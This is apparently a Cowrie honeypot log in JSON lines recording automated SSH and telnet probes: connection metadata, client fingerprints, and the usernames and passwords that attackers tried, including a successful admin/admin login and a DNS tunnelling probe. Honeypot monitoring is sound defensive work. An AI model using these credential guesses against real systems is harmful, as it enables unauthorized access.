{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:24:16:16:44:34:62:2c:d9:66:cb:56:e7:72:ee:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAvsgTopgPnUnCx4TZWn+MaluGD7A1P734+bHXuTo6f2YUk6nvCLLeg7txcwJDC9N8IxQp8E1ClmTwIn7U+Bgamovk5mU+ezWjixPz4CYwMpvl8a7WrxGPqrxXwcQ8YOVL6+ZNiUu+uTJooM2ivFU3QUqiTrDshb44p2JuJiRASCDhNb67kOnHtLeK2k2oxqHvPB9EkIBjUTqbeqz4i1/PeDUJgCBliA57Y51IIH+6qOfat9YTzbTnH30fPaA3t71jnVi62+HYHO0Ij/QBZ0YT0RsmWdKOBFfZEq6GY8P6YbFb5fqDBaWj+3BhrtAiXFH3xC/Tc3uh2pZEfBYlxNrNQLIad1tA0K6FnPs1uZ+jz7C04xxwqEir0t84zyklCSORWkx5P4vZOwANWkZ1/dkT3iBtpfEeFNx9Fpr/STu132MlxHJ2WvCQYDY8fD08HaYEpf+tU49v0CA1MCJkpGDldvmKhkTpOjehm28ayU4eC4n8hFBCs4ENl7HZq3HOMnVDCQX+vgn2+edbiGgYRa8kpmFIYX7oft9ZRH9u/Sup4pNkQEwR4LIVbfdq6c0alDTc53Q51u/d+ZQ2Hp8yABI88h4NP7aynqdUEYIBCKk4hCq/YNEckco1KSws7ukr+o6s5pqC1GWsLcWMnh8l7ACvmdEaEUAoj4IuuLGn5nP0/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:24:16:16:44:34:62:2c:d9:66:cb:56:e7:72:ee:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:53.043694Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:24:16:16:44:34:62:2c:d9:66:cb:56:e7:72:ee:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAvsgTopgPnUnCx4TZWn+MaluGD7A1P734+bHXuTo6f2YUk6nvCLLeg7txcwJDC9N8IxQp8E1ClmTwIn7U+Bgamovk5mU+ezWjixPz4CYwMpvl8a7WrxGPqrxXwcQ8YOVL6+ZNiUu+uTJooM2ivFU3QUqiTrDshb44p2JuJiRASCDhNb67kOnHtLeK2k2oxqHvPB9EkIBjUTqbeqz4i1/PeDUJgCBliA57Y51IIH+6qOfat9YTzbTnH30fPaA3t71jnVi62+HYHO0Ij/QBZ0YT0RsmWdKOBFfZEq6GY8P6YbFb5fqDBaWj+3BhrtAiXFH3xC/Tc3uh2pZEfBYlxNrNQLIad1tA0K6FnPs1uZ+jz7C04xxwqEir0t84zyklCSORWkx5P4vZOwANWkZ1/dkT3iBtpfEeFNx9Fpr/STu132MlxHJ2WvCQYDY8fD08HaYEpf+tU49v0CA1MCJkpGDldvmKhkTpOjehm28ayU4eC4n8hFBCs4ENl7HZq3HOMnVDCQX+vgn2+edbiGgYRa8kpmFIYX7oft9ZRH9u/Sup4pNkQEwR4LIVbfdq6c0alDTc53Q51u/d+ZQ2Hp8yABI88h4NP7aynqdUEYIBCKk4hCq/YNEckco1KSws7ukr+o6s5pqC1GWsLcWMnh8l7ACvmdEaEUAoj4IuuLGn5nP0/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:53.047027Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:53.108950Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":57906,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ce2ac16b3f","protocol":"ssh","message":"New connection: 77.94.47.83:57906 (10.17.0.5:22) [session: 72ce2ac16b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:11.169288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:11.173617Z","src_ip":"77.94.47.83","session":"72ce2ac16b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:11.283969Z","src_ip":"77.94.47.83","session":"72ce2ac16b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mila","message":"login attempt [root/mila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:11.620669Z","src_ip":"77.94.47.83","session":"72ce2ac16b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:12.732828Z","src_ip":"77.94.47.83","session":"72ce2ac16b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.38936376571655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:16.484888Z","src_ip":"172.81.62.90","session":"4c416075278a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b665f44683e7","protocol":"telnet","message":"New connection: 94.23.66.112:57110 (10.17.0.5:23) [session: b665f44683e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:32.815601Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a03e61e4b3f4","protocol":"ssh","message":"New connection: 62.133.62.83:33838 (10.17.0.5:22) [session: a03e61e4b3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:36.850587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:36.855538Z","src_ip":"62.133.62.83","session":"a03e61e4b3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:36.934993Z","src_ip":"62.133.62.83","session":"a03e61e4b3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svetocopy","message":"login attempt [root/svetocopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:37.175511Z","src_ip":"62.133.62.83","session":"a03e61e4b3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:59:38.257439Z","src_ip":"62.133.62.83","session":"a03e61e4b3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb36963a6f62","protocol":"ssh","message":"New connection: 72.17.34.38:47626 (10.17.0.5:22) [session: fb36963a6f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:12.363943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:12.385594Z","src_ip":"72.17.34.38","session":"fb36963a6f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:12.425669Z","src_ip":"72.17.34.38","session":"fb36963a6f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin2024","message":"login attempt [root/@dmin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:12.600297Z","src_ip":"72.17.34.38","session":"fb36963a6f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:13.644535Z","src_ip":"72.17.34.38","session":"fb36963a6f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13488,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc283cd5365","protocol":"ssh","message":"New connection: 87.251.64.176:13488 (10.17.0.5:22) [session: dcc283cd5365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:21.774997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:21.780302Z","src_ip":"87.251.64.176","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:21.875291Z","src_ip":"87.251.64.176","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:22.257399Z","src_ip":"87.251.64.176","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:22.359611Z","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:22.455996Z","src_ip":"87.251.64.176","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:22.556048Z","src_ip":"87.251.64.176","session":"dcc283cd5365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.79718780517578,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:00:52.612652Z","src_ip":"94.23.66.112","session":"b665f44683e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab65d5d94cc6","protocol":"telnet","message":"New connection: 128.199.8.54:46280 (159.203.135.109:23) [session: ab65d5d94cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:01:00.316136Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33166,"dst_ip":"159.203.135.109","dst_port":23,"session":"660cc082138b","protocol":"telnet","message":"New connection: 128.199.8.54:33166 (159.203.135.109:23) [session: 660cc082138b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:01:23.917997Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60748,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6cfbf392c9","protocol":"telnet","message":"New connection: 128.199.8.54:60748 (159.203.135.109:23) [session: bc6cfbf392c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:01:28.846205Z"}
{"eventid":"cowrie.session.closed","duration":52.90612459182739,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:01:53.222104Z","src_ip":"128.199.8.54","session":"ab65d5d94cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":57116,"dst_ip":"10.17.0.5","dst_port":22,"session":"591f696ca7a7","protocol":"ssh","message":"New connection: 72.17.34.38:57116 (10.17.0.5:22) [session: 591f696ca7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:03.476890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:03.481359Z","src_ip":"72.17.34.38","session":"591f696ca7a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:03.517892Z","src_ip":"72.17.34.38","session":"591f696ca7a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2025","message":"login attempt [webserver/webserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:03.729824Z","src_ip":"72.17.34.38","session":"591f696ca7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.41.67","src_port":49556,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7ce7ebbfcf5","protocol":"ssh","message":"New connection: 107.173.41.67:49556 (10.17.0.5:22) [session: f7ce7ebbfcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.357521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.378891Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:02:04.395095Z","src_ip":"107.173.41.67","session":"f7ce7ebbfcf5","protocol":"ssh"}
